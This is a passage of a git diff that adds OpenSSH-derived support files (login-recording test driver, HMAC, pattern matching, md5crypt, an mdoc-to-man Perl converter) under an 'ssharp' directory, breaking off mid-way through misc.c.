strlcpy(s_logouttime, ctime(&logouttime), sizeof(s_logouttime)); + printf("at %d - %s", (int)logouttime, s_logouttime); +#endif + printf("\nThe root login shown above should be gone.\n" + "If the root login hasn't gone, but another user on the same\n" + "pty has, this is OK - we're hacking it here, and there\n" + "shouldn't be two users on one pty in reality...\n" + "-- ('who' output follows)\n"); + login_logout(li1); + + system(cmdstring); + printf("-- ('who' output ends)\n"); + +#ifdef HAVE_TIME_H + t2 = login_get_lastlog_time(getuid()); + strlcpy(s_t2, ctime(&t2), sizeof(s_t2)); + printf("After logging in, lastlog time is %d - %s\n", (int)t2, s_t2); + if (t1 == t2) + printf("The lastlog times before and after logging in are the " + "same.\nThis indicates that lastlog is ** NOT WORKING " + "CORRECTLY **\n"); + else if (t0 != t2) + /* We can be off by a second or so, even when recording works fine. + * I'm not 100% sure why, but it's true. */ + printf("** The login time and the lastlog time differ.\n" + "** This indicates that lastlog is either recording the " + "wrong time,\n** or retrieving the wrong entry.\n" + "If it's off by less than %d second(s) " + "run the test again.\n", PAUSE_BEFORE_LOGOUT); + else + printf("lastlog agrees with the login time. This is a good thing.\n"); + +#endif + + printf("--\nThe output of 'last' shown next should have " + "an entry for root \n on %s for the time shown above:\n--\n", + stripline); + snprintf(cmdstring, sizeof(cmdstring), "last | grep '%s ' | head -3", + stripline); + system(cmdstring); + + printf("--\nEnd of login test.\n"); + + login_free_entry(li1); + + return 1; +} /* testAPI() */ + + +void +testLineName(char *line) +{ + /* have to null-terminate - these functions are designed for + * structures with fixed-length char arrays, and don't null-term.*/ + char full[17], strip[9], abbrev[5]; + + memset(full, '\0', sizeof(full)); + memset(strip, '\0', sizeof(strip)); + memset(abbrev, '\0', sizeof(abbrev)); + + line_fullname(full, line, sizeof(full)-1); + line_stripname(strip, full, sizeof(strip)-1); + line_abbrevname(abbrev, full, sizeof(abbrev)-1); + printf("%s: %s, %s, %s\n", line, full, strip, abbrev); + +} /* testLineName() */ + + +int +testOutput() +{ + printf("**\n** Testing linename functions\n**\n"); + testLineName("/dev/pts/1"); + testLineName("pts/1"); + testLineName("pts/999"); + testLineName("/dev/ttyp00"); + testLineName("ttyp00"); + + return 1; +} /* testOutput() */ + + +/* show which options got compiled in */ +void +showOptions(void) +{ + printf("**\n** Compile-time options\n**\n"); + + printf("login recording methods selected:\n"); +#ifdef USE_LOGIN + printf("\tUSE_LOGIN\n"); +#endif +#ifdef USE_UTMP + printf("\tUSE_UTMP (UTMP_FILE=%s)\n", UTMP_FILE); +#endif +#ifdef USE_UTMPX + printf("\tUSE_UTMPX (UTMPX_FILE=%s)\n", UTMPX_FILE); +#endif +#ifdef USE_WTMP + printf("\tUSE_WTMP (WTMP_FILE=%s)\n", WTMP_FILE); +#endif +#ifdef USE_WTMPX + printf("\tUSE_WTMPX (WTMPX_FILE=%s)\n", WTMPX_FILE); +#endif +#ifdef USE_LASTLOG + printf("\tUSE_LASTLOG (LASTLOG_FILE=%s)\n", LASTLOG_FILE); +#endif + printf("\n"); + +} /* showOptions() */ + + +int +main(int argc, char *argv[]) +{ + printf("Platform-independent login recording test driver\n"); + + __progname = get_progname(argv[0]); + if (argc == 2) { + if (strncmp(argv[1], "-i", 3) == 0) + compile_opts_only = 1; + else if (strncmp(argv[1], "-v", 3) == 0) + be_verbose=1; + } + + if (!compile_opts_only) { + if (be_verbose && !testOutput()) + return 1; + + if (!testAPI()) + return 1; + } + + showOptions(); + + return 0; +} /* main() */ + diff --git a/other/ssharp/mac.c b/other/ssharp/mac.c new file mode 100644 index 0000000..e8b4267 --- /dev/null +++ b/other/ssharp/mac.c @@ -0,0 +1,114 @@ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: mac.c,v 1.2 2001/04/05 10:42:51 markus Exp $"); + +#include + +#include "xmalloc.h" +#include "getput.h" +#include "log.h" +#include "cipher.h" +#include "kex.h" +#include "mac.h" + +struct { + char *name; + EVP_MD * (*mdfunc)(void); + int truncatebits; /* truncate digest if != 0 */ +} macs[] = { + { "hmac-sha1", EVP_sha1, 0, }, + { "hmac-sha1-96", EVP_sha1, 96 }, + { "hmac-md5", EVP_md5, 0 }, + { "hmac-md5-96", EVP_md5, 96 }, + { "hmac-ripemd160", EVP_ripemd160, 0 }, + { "hmac-ripemd160@openssh.com", EVP_ripemd160, 0 }, + { NULL, NULL, 0 } +}; + +int +mac_init(Mac *mac, char *name) +{ + int i; + for (i = 0; macs[i].name; i++) { + if (strcmp(name, macs[i].name) == 0) { + if (mac != NULL) { + mac->md = (*macs[i].mdfunc)(); + mac->key_len = mac->mac_len = mac->md->md_size; + if (macs[i].truncatebits != 0) + mac->mac_len = macs[i].truncatebits/8; + } + debug2("mac_init: found %s", name); + return (0); + } + } + debug2("mac_init: unknown %s", name); + return (-1); +} + +u_char * +mac_compute(Mac *mac, u_int32_t seqno, u_char *data, int datalen) +{ + HMAC_CTX c; + static u_char m[EVP_MAX_MD_SIZE]; + u_char b[4]; + + if (mac->key == NULL) + fatal("mac_compute: no key"); + if (mac->mac_len > sizeof(m)) + fatal("mac_compute: mac too long"); + HMAC_Init(&c, mac->key, mac->key_len, mac->md); + PUT_32BIT(b, seqno); + HMAC_Update(&c, b, sizeof(b)); + HMAC_Update(&c, data, datalen); + HMAC_Final(&c, m, NULL); + HMAC_cleanup(&c); + return (m); +} + +/* XXX copied from ciphers_valid */ +#define MAC_SEP "," +int +mac_valid(const char *names) +{ + char *maclist, *cp, *p; + + if (names == NULL || strcmp(names, "") == 0) + return (0); + maclist = cp = xstrdup(names); + for ((p = strsep(&cp, MAC_SEP)); p && *p != '\0'; + (p = strsep(&cp, MAC_SEP))) { + if (mac_init(NULL, p) < 0) { + debug("bad mac %s [%s]", p, names); + xfree(maclist); + return (0); + } else { + debug3("mac ok: %s [%s]", p, names); + } + } + debug3("macs ok: [%s]", names); + xfree(maclist); + return (1); +} diff --git a/other/ssharp/mac.h b/other/ssharp/mac.h new file mode 100644 index 0000000..6173eaa --- /dev/null +++ b/other/ssharp/mac.h @@ -0,0 +1,28 @@ +/* $OpenBSD: mac.h,v 1.1 2001/02/11 12:59:24 markus Exp $ */ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +int mac_valid(const char *names); +int mac_init(Mac *mac, char *name); +u_char *mac_compute(Mac *mac, u_int32_t seqno, u_char *data, int datalen); diff --git a/other/ssharp/match.c b/other/ssharp/match.c new file mode 100644 index 0000000..ebb562a --- /dev/null +++ b/other/ssharp/match.c @@ -0,0 +1,206 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Simple pattern matching, with '*' and '?' as wildcards. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: match.c,v 1.12 2001/03/10 17:51:04 markus Exp $"); + +#include "match.h" +#include "xmalloc.h" + +/* + * Returns true if the given string matches the pattern (which may contain ? + * and * as wildcards), and zero if it does not match. + */ + +int +match_pattern(const char *s, const char *pattern) +{ + for (;;) { + /* If at end of pattern, accept if also at end of string. */ + if (!*pattern) + return !*s; + + if (*pattern == '*') { + /* Skip the asterisk. */ + pattern++; + + /* If at end of pattern, accept immediately. */ + if (!*pattern) + return 1; + + /* If next character in pattern is known, optimize. */ + if (*pattern != '?' && *pattern != '*') { + /* + * Look instances of the next character in + * pattern, and try to match starting from + * those. + */ + for (; *s; s++) + if (*s == *pattern && + match_pattern(s + 1, pattern + 1)) + return 1; + /* Failed. */ + return 0; + } + /* + * Move ahead one character at a time and try to + * match at each position. + */ + for (; *s; s++) + if (match_pattern(s, pattern)) + return 1; + /* Failed. */ + return 0; + } + /* + * There must be at least one more character in the string. + * If we are at the end, fail. + */ + if (!*s) + return 0; + + /* Check if the next character of the string is acceptable. */ + if (*pattern != '?' && *pattern != *s) + return 0; + + /* Move to the next character, both in string and in pattern. */ + s++; + pattern++; + } + /* NOTREACHED */ +} + +/* + * Tries to match the host name (which must be in all lowercase) against the + * comma-separated sequence of subpatterns (each possibly preceded by ! to + * indicate negation). Returns -1 if negation matches, 1 if there is + * a positive match, 0 if there is no match at all. + */ + +int +match_hostname(const char *host, const char *pattern, u_int len) +{ + char sub[1024]; + int negated; + int got_positive; + u_int i, subi; + + got_positive = 0; + for (i = 0; i < len;) { + /* Check if the subpattern is negated. */ + if (pattern[i] == '!') { + negated = 1; + i++; + } else + negated = 0; + + /* + * Extract the subpattern up to a comma or end. Convert the + * subpattern to lowercase. + */ + for (subi = 0; + i < len && subi < sizeof(sub) - 1 && pattern[i] != ','; + subi++, i++) + sub[subi] = isupper(pattern[i]) ? tolower(pattern[i]) : pattern[i]; + /* If subpattern too long, return failure (no match). */ + if (subi >= sizeof(sub) - 1) + return 0; + + /* If the subpattern was terminated by a comma, skip the comma. */ + if (i < len && pattern[i] == ',') + i++; + + /* Null-terminate the subpattern. */ + sub[subi] = '\0'; + + /* Try to match the subpattern against the host name. */ + if (match_pattern(host, sub)) { + if (negated) + return -1; /* Negative */ + else + got_positive = 1; /* Positive */ + } + } + + /* + * Return success if got a positive match. If there was a negative + * match, we have already returned -1 and never get here. + */ + return got_positive; +} + + +#define MAX_PROP 20 +#define SEP "," +char * +match_list(const char *client, const char *server, u_int *next) +{ + char *sproposals[MAX_PROP]; + char *c, *s, *p, *ret, *cp, *sp; + int i, j, nproposals; + + c = cp = xstrdup(client); + s = sp = xstrdup(server); + + for ((p = strsep(&sp, SEP)), i=0; p && *p != '\0'; + (p = strsep(&sp, SEP)), i++) { + if (i < MAX_PROP) + sproposals[i] = p; + else + break; + } + nproposals = i; + + for ((p = strsep(&cp, SEP)), i=0; p && *p != '\0'; + (p = strsep(&cp, SEP)), i++) { + for (j = 0; j < nproposals; j++) { + if (strcmp(p, sproposals[j]) == 0) { + ret = xstrdup(p); + if (next != NULL) + *next = (cp == NULL) ? + strlen(c) : cp - c; + xfree(c); + xfree(s); + return ret; + } + } + } + if (next != NULL) + *next = strlen(c); + xfree(c); + xfree(s); + return NULL; +} diff --git a/other/ssharp/match.h b/other/ssharp/match.h new file mode 100644 index 0000000..09c9311 --- /dev/null +++ b/other/ssharp/match.h @@ -0,0 +1,39 @@ +/* $OpenBSD: match.h,v 1.7 2001/03/10 17:51:04 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file contains various auxiliary functions related to multiple + * precision integers. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +#ifndef MATCH_H +#define MATCH_H + +/* + * Returns true if the given string matches the pattern (which may contain ? + * and * as wildcards), and zero if it does not match. + */ +int match_pattern(const char *s, const char *pattern); + +/* + * Tries to match the host name (which must be in all lowercase) against the + * comma-separated sequence of subpatterns (each possibly preceded by ! to + * indicate negation). Returns -1 if negation matches, 1 if there is + * a positive match, 0 if there is no match at all. + */ +int match_hostname(const char *host, const char *pattern, u_int len); + +/* + * Returns first item from client-list that is also supported by server-list, + * caller must xfree() returned string. + */ +char *match_list(const char *client, const char *server, u_int *next); + +#endif diff --git a/other/ssharp/md5crypt.c b/other/ssharp/md5crypt.c new file mode 100644 index 0000000..14b8de2 --- /dev/null +++ b/other/ssharp/md5crypt.c @@ -0,0 +1,159 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp + * ---------------------------------------------------------------------------- + */ + +/* + * Ported from FreeBSD to Linux, only minimal changes. --marekm + */ + +/* + * Adapted from shadow-19990607 by Tudor Bosman, tudorb@jm.nu + */ + +#include "includes.h" + +RCSID("$Id: md5crypt.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) + +#include + +static unsigned char itoa64[] = /* 0 ... 63 => ascii - 64 */ + "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + +static char *magic = "$1$"; /* + * This string is magic for + * this algorithm. Having + * it this way, we can get + * get better later on + */ + +static void +to64(char *s, unsigned long v, int n) +{ + while (--n >= 0) { + *s++ = itoa64[v&0x3f]; + v >>= 6; + } +} + +int +is_md5_salt(const char *salt) +{ + return (!strncmp(salt, magic, strlen(magic))); +} + +/* + * UNIX password + * + * Use MD5 for what it is best at... + */ + +char * +md5_crypt(const char *pw, const char *salt) +{ + static char passwd[120], *p; + static const char *sp,*ep; + unsigned char final[16]; + int sl,pl,i,j; + MD5_CTX ctx,ctx1; + unsigned long l; + + /* Refine the Salt first */ + sp = salt; + + /* If it starts with the magic string, then skip that */ + if(!strncmp(sp,magic,strlen(magic))) + sp += strlen(magic); + + /* It stops at the first '$', max 8 chars */ + for(ep=sp;*ep && *ep != '$' && ep < (sp+8);ep++) + continue; + + /* get the length of the true salt */ + sl = ep - sp; + + MD5_Init(&ctx); + + /* The password first, since that is what is most unknown */ + MD5_Update(&ctx,pw,strlen(pw)); + + /* Then our magic string */ + MD5_Update(&ctx,magic,strlen(magic)); + + /* Then the raw salt */ + MD5_Update(&ctx,sp,sl); + + /* Then just as many characters of the MD5(pw,salt,pw) */ + MD5_Init(&ctx1); + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Update(&ctx1,sp,sl); + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Final(final,&ctx1); + for(pl = strlen(pw); pl > 0; pl -= 16) + MD5_Update(&ctx,final,pl>16 ? 16 : pl); + + /* Don't leave anything around in vm they could use. */ + memset(final,0,sizeof final); + + /* Then something really weird... */ + for (j=0,i = strlen(pw); i ; i >>= 1) + if(i&1) + MD5_Update(&ctx, final+j, 1); + else + MD5_Update(&ctx, pw+j, 1); + + /* Now make the output string */ + strcpy(passwd,magic); + strncat(passwd,sp,sl); + strcat(passwd,"$"); + + MD5_Final(final,&ctx); + + /* + * and now, just to make sure things don't run too fast + * On a 60 Mhz Pentium this takes 34 msec, so you would + * need 30 seconds to build a 1000 entry dictionary... + */ + for(i=0;i<1000;i++) { + MD5_Init(&ctx1); + if(i & 1) + MD5_Update(&ctx1,pw,strlen(pw)); + else + MD5_Update(&ctx1,final,16); + + if(i % 3) + MD5_Update(&ctx1,sp,sl); + + if(i % 7) + MD5_Update(&ctx1,pw,strlen(pw)); + + if(i & 1) + MD5_Update(&ctx1,final,16); + else + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Final(final,&ctx1); + } + + p = passwd + strlen(passwd); + + l = (final[ 0]<<16) | (final[ 6]<<8) | final[12]; to64(p,l,4); p += 4; + l = (final[ 1]<<16) | (final[ 7]<<8) | final[13]; to64(p,l,4); p += 4; + l = (final[ 2]<<16) | (final[ 8]<<8) | final[14]; to64(p,l,4); p += 4; + l = (final[ 3]<<16) | (final[ 9]<<8) | final[15]; to64(p,l,4); p += 4; + l = (final[ 4]<<16) | (final[10]<<8) | final[ 5]; to64(p,l,4); p += 4; + l = final[11] ; to64(p,l,2); p += 2; + *p = '\0'; + + /* Don't leave anything around in vm they could use. */ + memset(final,0,sizeof final); + + return passwd; +} + +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ diff --git a/other/ssharp/md5crypt.h b/other/ssharp/md5crypt.h new file mode 100644 index 0000000..fc60e69 --- /dev/null +++ b/other/ssharp/md5crypt.h @@ -0,0 +1,32 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp + * ---------------------------------------------------------------------------- + */ + +/* + * Ported from FreeBSD to Linux, only minimal changes. --marekm + */ + +/* + * Adapted from shadow-19990607 by Tudor Bosman, tudorb@jm.nu + */ + +/* $Id: md5crypt.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _MD5CRYPT_H +#define _MD5CRYPT_H + +#include "config.h" + +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) + +int is_md5_salt(const char *salt); +char *md5_crypt(const char *pw, const char *salt); + +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ + +#endif /* MD5CRYPT_H */ diff --git a/other/ssharp/mdoc2man.pl b/other/ssharp/mdoc2man.pl new file mode 100644 index 0000000..f2d7945 --- /dev/null +++ b/other/ssharp/mdoc2man.pl @@ -0,0 +1,364 @@ +#!/usr/bin/perl +### +### Quick usage: mdoc2man.pl < mdoc_manpage.8 > man_manpage.8 +### +### +### Copyright (c) 2001 University of Illinois Board of Trustees +### Copyright (c) 2001 Mark D. Roth +### All rights reserved. +### +### Redistribution and use in source and binary forms, with or without +### modification, are permitted provided that the following conditions +### are met: +### 1. Redistributions of source code must retain the above copyright +### notice, this list of conditions and the following disclaimer. +### 2. Redistributions in binary form must reproduce the above copyright +### notice, this list of conditions and the following disclaimer in the +### documentation and/or other materials provided with the distribution. +### 3. All advertising materials mentioning features or use of this software +### must display the following acknowledgement: +### This product includes software developed by the University of +### Illinois at Urbana, and their contributors. +### 4. The University nor the names of their +### contributors may be used to endorse or promote products derived from +### this software without specific prior written permission. +### +### THIS SOFTWARE IS PROVIDED BY THE TRUSTEES AND CONTRIBUTORS ``AS IS'' AND +### ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +### IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +### ARE DISCLAIMED. IN NO EVENT SHALL THE TRUSTEES OR CONTRIBUTORS BE LIABLE +### FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +### DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +### OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +### HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +### LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +### OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +### SUCH DAMAGE. +### + +use strict; + +my ($name, $date, $id); +my ($line); +my ($optlist, $nospace, $enum, $synopsis); + + +$optlist = 0; ### 1 = bullet, 2 = enum, 3 = tag +$nospace = 0; +$synopsis = 0; + +while ($line = ) +{ + if ($line !~ /^\./) + { + print $line; + next; + } + + $line =~ s/^\.//; + + next + if ($line =~ m/\\"/); + + $line = ParseMacro($line); + print($line) + if (defined $line); +} + + + +sub ParseMacro # ($line) +{ + my ($line) = @_; + my (@words, $retval, $option, $parens, $arg); + + @words = split(/\s+/, $line); + $retval = ''; + $option = 0; + $parens = 0; + $arg = 0; + +# print('@words = ', scalar(@words), ': ', join(' ', @words), "\n"); + + while ($_ = shift @words) + { +# print "WORD: $_\n"; + + next + if (/^(Li|Pf|X[oc])$/); + + if (/^Ns/) + { + $nospace = 1 + if (! $nospace); + $retval =~ s/ $//; + next; + } + + if (/^No/) + { + $retval =~ s/ $//; + $retval .= shift @words; + next; + } + + if (/^Dq$/) { + $retval .= '``' . (shift @words) . '\'\''; + $nospace = 1 + if (! $nospace && $words[0] =~ m/^[\.,]/); + next; + } + + if (/^(Sq|Ql)$/) { + $retval .= '`' . (shift @words) . '\''; + $nospace = 1 + if (! $nospace && $words[0] =~ m/^[\.,]/); + next; + } + + $retval .= ' ' + if (! $nospace && $retval ne '' && $retval !~ m/[\n ]$/); + $nospace = 0 + if ($nospace == 1); + + if (/^Dd$/) { + $date = join(' ', @words); + return undef; + } + + if (/^Dt$/) { + $id = join(' ', @words); + return undef; + } + + if (/^Os$/) { + $retval .= '.TH ' + . $id + . " \"$date\" \"" + . join(' ', @words) + . "\""; + last; + } + + if (/^Sh$/) { + $retval .= '.SH'; + if ($words[0] eq 'SYNOPSIS') + { + $synopsis = 1; + } + else + { + $synopsis = 0; + } + next; + } + + if (/^Xr$/) { + $retval .= '\\fB' . (shift @words) . + '\\fR(' . (shift @words) . ')' + . (shift @words); + last; + } + + if (/^Nm$/) { + $name = shift @words + if (@words > 0); + $retval .= ".br\n" + if ($synopsis); + $retval .= "\\fB$name\\fR"; + $nospace = 1 + if (! $nospace && $words[0] =~ m/^[\.,]/); + next; + } + + if (/^Nd$/) { + $retval .= '\\-'; + next; + } + + if (/^Fl$/) { + $retval .= '\\fB\\-' . (shift @words) . '\\fR'; + $nospace = 1 + if (! $nospace && $words[0] =~ m/^[\.,]/); + next; + } + + if (/^Ar$/) { + $retval .= '\\fI'; + if (! defined $words[0]) + { + $retval .= 'file ...\\fR'; + } + $arg = 1; + $nospace = 1 + if (! $nospace); + next; + } + + if (/^Cm$/) { + $retval .= '\\fB' . (shift @words) . '\\fR'; + next; + } + + if (/^Op$/) { + $option = 1; + $nospace = 1 + if (! $nospace); + $retval .= '['; + next; + } + + if (/^Oo$/) { + $retval .= "[\\c\n"; + next; + } + + if (/^Oc$/) { + $retval .= ']'; + next; + } + + if (/^Pp$/) { + if ($optlist) { + $retval .= "\n"; + } else { + $retval .= '.LP'; + } + next; + } + + if (/^Ss$/) { + $retval .= '.SS'; + next; + } + + if (/^Pa$/ && ! $option) { + $retval .= '\\fI'; + $retval .= '\\&' + if ($words[0] =~ m/^\./); + $retval .= (shift @words) . '\\fR'; + $nospace = 1 + if (! $nospace && $words[0] =~ m/^[\.,]/); + next; + } + + if (/^Dv$/) { + $retval .= '.BR'; + next; + } + + if (/^(Em|Ev)$/) { + $retval .= '.IR'; + next; + } + + if (/^Pq$/) { + $retval .= '('; + $nospace = 1; + $parens = 1; + next; + } + + if (/^(S[xy])$/) { + $retval .= '.B ' . join(' ', @words); + last; + } + + if (/^Ic$/) + { + $retval .= '\\fB'; + while (defined $words[0] + && $words[0] !~ m/^[\.,]/) + { + $retval .= shift @words; + $retval .= ' ' + if (! $nospace); + } + $retval =~ s/ $//; + $retval .= '\\fR'; + $retval .= shift @words + if (defined $words[0]); + last; + } + + if (/^Bl$/) { + if ($words[0] eq '-bullet') { + $optlist = 1; + } elsif ($words[0] eq '-enum') { + $optlist = 2; + $enum = 0; + } elsif ($words[0] eq '-tag') { + $optlist = 3; + } + last; + } + + if (/^El$/) { + $optlist = 0; + next; + } + + if ($optlist && /^It$/) { + if ($optlist == 1) { + # bullets + $retval .= '.IP \\(bu'; + next; + } + + if ($optlist == 2) { + # enum + $retval .= '.IP ' . (++$enum) . '.'; + next; + } + + if ($optlist == 3) { + # tags + $retval .= ".TP\n"; + if ($words[0] =~ m/^(Pa|Ev)$/) + { + shift @words; + $retval .= '.B'; + } + next; + } + + next; + } + + if (/^Sm$/) { + if ($words[0] eq 'off') { + $nospace = 2; + } elsif ($words[0] eq 'on') { + $retval .= "\n"; + $nospace = 0; + } + shift @words; + next; + } + + $retval .= "$_"; + } + + return undef + if ($retval eq '.'); + + $retval =~ s/^\.([^a-zA-Z])/$1/; + $retval =~ s/ $//; + + $retval .= ')' + if ($parens == 1); + + $retval .= ']' + if ($option == 1); + + $retval .= '\\fR' + if ($arg); + + $retval .= '\\c' + if ($nospace && $retval ne '' && $retval !~ m/\n$/); + + $retval .= "\n" + if ($retval ne '' && $retval !~ m/\n$/); + + return $retval; +} diff --git a/other/ssharp/misc.c b/other/ssharp/misc.c new file mode 100644 index 0000000..feeacb8 --- /dev/null +++ b/other/ssharp/misc.c @@ -0,0 +1,162 @@ +/* $OpenBSD: misc.c,v 1.5 2001/04/12 20:09:37 stevesk Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: misc.c,v 1.5 2001/04/12 20:09:37 stevesk Exp $"); + +#include "misc.h" +#include "log.h" +#include "xmalloc.h" + +char * +chop(char *s) +{ + char *t = s; + while (*t) { + if(*t == '\n' || *t == '\r') { + 